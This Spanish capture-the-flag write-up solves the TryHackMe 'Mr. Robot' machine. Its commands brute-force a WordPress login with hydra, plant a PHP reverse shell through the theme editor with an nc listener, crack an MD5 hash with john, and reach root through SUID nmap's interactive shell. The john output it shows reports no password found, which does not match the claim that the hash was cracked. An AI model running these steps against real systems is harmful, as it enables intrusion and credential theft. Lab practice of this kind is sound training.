THM Mr. Robot
¡Hola!
En esta ocasión vamos a resolver de la maquina Mr. Robot
de TryHackMe.
La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre mrrobot
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkhack mrrobot
❯ cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de una traza ICMP.
❯ ping -c 1 10.10.235.157 | grep ttl | awk '{print $4 $6}'
10.10.235.157:ttl=63
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de TryHackMe).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- -sS --open --min-rate 5000 -n -Pn 10.10.235.157 -oG ports | grep open
80/tcp open http
443/tcp open https
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p80,443 -sCV 10.10.235.157 -oN allInfo
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-19 18:20 -05
Nmap scan report for 10.10.235.157
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Podemos identificar que el puerto 80
tiene una página web en servicio, por lo que revisamos con el explorador la página en cuestión.
Vamos a realizar un fuzzing por medio de la generación de múltiples peticiones con diferentes terminaciones a la página web, con el fin de detectar rutas de acceso a información o explotación, identificando potenciales rutas de acceso, vamos a mirar de que se tratan.
❯ wfuzz -c --hc=404,301 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.235.157/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000053: 302 0 L 0 W 0 Ch "login"
000000348: 200 2027 L 19569 W 489204 Ch "intro"
000000475: 200 52 L 158 W 2613 Ch "wp-login"
000000679: 200 156 L 27 W 309 Ch "license"
000001765: 200 3 L 4 W 41 Ch "robots"
Iniciamos con el directorio robots
.
❯ curl -s "http://10.10.235.157/robots.txt"
User-agent: *
fsocity.dic
key-1-of-3.txt
¡Tenemos al parecer nuestra primera flag!, nuevamente con la utilidad curl
vamos a realizar la petición para el recurso key-1-of-3.txt
❯ curl -s "http://10.10.235.157/key-1-of-3.txt" > flag1.txt | head -c 10
073403c8a5%
¡Excelente, tenemos la flag! Como bien saben solo mostraremos los primeros 10 caracteres.
Vamos a extraer el otro recurso que encontramos, el cual parece ser un dicionario, luego de la extracción, vamos a organizarlo y eliminar registros que pueda tener duplicados, como se pueden dar cuenta, el archivo sin duplicados se reduce considerablemente respecto al original.
❯ curl -s "http://10.10.235.157/fsocity.dic" > fsocity.dic
❯ sort -u fsocity.dic > sortfsocity.dic
❯ wc -l fsocity.dic sortfsocity.dic
858160 fsocity.dic
11451 sortfsocity.dic
869611 total
EXPLOTACIÓN
Vamos a explorar la ruta wp-login, la cual muestra un panel de loggeo en un gestor de contenido como lo es Wordpress.
Vamos a realizar un ataque de fuerza bruta por la utilidad hydra
, pero antes de esto es necesario capturar la petición con burpsuite
, para poder obtener los campos de usuario y contraseña que usaremos en nuestro ataque de fuerza bruta.
Ya tenemos los campos identificados, ahora si vamos a realizar nuestro primer ataque de fuerza bruta para detectar que usuarios son válidos en el login.
❯ hydra -L sortfsocity.dic -p test 10.10.235.157 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -t 64
[80][http-post-form] host: 10.10.235.157 login: elliot password: test
¡Tenemos un usuario valido! Podemos ver que elliot
es un usuario existente en este login.
Ahora intentaremos identificar la contraseña de este usuario para finalmente acceder al panel principal.
❯ hydra -l elliot -P sortfsocity.dic 10.10.235.157 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username" -t 64
[80][http-post-form] host: 10.10.235.157 login: elliot password: ER28-0652
Ya tenemos credenciales válidas para poder acceder al portal principal de esta web.
En este momento contamos con los permisos para editar archivos php en esta sesión, por lo que vamos a realizar los siguientes pasos:
- Ir al panel izquierdo, opción
apperance
. - Click en la opción
editor
. - En el panel derecho, click en
archive.php
. - Copiamos la php-reverse-shell y la pegamos en el panel central.
- Cambiamos la
IP
yPuerto
. - Guardamos cambios.
Con estos pasos vamos a generar una reverse shell en php para cargarla y después ejecutarla en la máquina, todo esto mientras estamos en escucha por con la utilidad nc
.
❯ nc -lvnp 5555
Luego hacemos la petición del recurso que contiene la reverse shell.
❯ curl -s "http://10.10.235.157/wp-content/themes/twentyfifteen/archive.php"
##POST-EXPLOIT
Ahora que tenemos acceso a la máquina, con la utilidad find
buscamos el archivo que puede contener las siguientes flags.
$ find / -name key-*-of-3.txt 2>/dev/null
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt
Ahora vamos a mirar los ficheros y sus permisos en el directorio /home/robot
, detectando que la segunda flag solo la puede leer el usuario robot
, existe un segundo archivo al cual si tenemos permiso al menos de lectura.
$ ls -la /home/robot/
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Vamos a leer el contenido del archivo password.raw.md5
.
$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
¡Parece ser que tenemos un hash! Vamos a utilizar otro vector de ataque por fuerza bruta, esta vez con la utilidad john
, pero antes de ello vamos a ingresar a la carpeta exploit y crear un fichero que contenga el hash identificado.
❯ cd ../exploit
❯ echo "robot:c3fcd3d76192e4007dfb496cca67e13b" > robot.hash
❯ john robot.hash --wordlist=../recon/fsocity.dic -format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-05-19 22:19) 0g/s 8580Kp/s 8580Kc/s 8580KC/s 8output..ABCDEFGHIJKLMNOPQRSTUVWXYZ
Session completed
El hash fue descifrado y ahora ya tenemos lo que es la posible contraseña del usuario robot.
$ su robot
su: must be run from a terminal
Hay un problema, no podemos acceder por la utilidad su
, sin embargo, verificando en la máquina, podemos ver que tiene python 2.7.6
el cual nos va a permitir hacer el spawn de una shell en bash, luego de esto podremos ejecutar el comando para escalar privilegios con la contraseña previamente obtenida.
$ python --version
Python 2.7.6
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:
Como bien sabemos, ahora somos el usuario robot
, con privilegios de lectura del fichero que contiene la segunda flag, así que procedemos a revisar su contenido.
robot@linux:/$ head -c 10 /home/robot/key-2-of-3.txt
head -c 10 /home/robot/key-2-of-3.txt
822c739561
##ESCALAMIENTO
¡Perfecto! Ahora si vamos a revisar permisos por medio del comando find
, así podremos ver qué tipo de utilidades puede ejecutar el usuario robot
con privilegios.
robot@linux:/$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
Vemos que robot
puede ejecutar el comando nmap
sin necesidad de ingresar credenciales.
Por medio del recurso GTFOBins identificamos una vía potencial de escalamiento de privilegios, ejecutando lo siguiente.
robot@linux:/$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#whoami
#root
Esto fue posible debido a que la versión de nmap de la maquina era vulnerable, de igual manera la versión de python para spawnear la shell era compatible con lo que se requería.
¡Logramos tener acceso a la maquina como root
!
Solo hace falta buscar la flag correspondiente y eso sería todo.
# find / -name key-*-of-3.txt 2>/dev/null
find / -name key-*-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-of-3.txt
# head -c 10 /root/key-3-of-3.txt
head -c 10 /root/key-3-of-3.txt
04787ddef2
¡Hemos logrado completar la maquina mr. robot
de TryHackMe!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.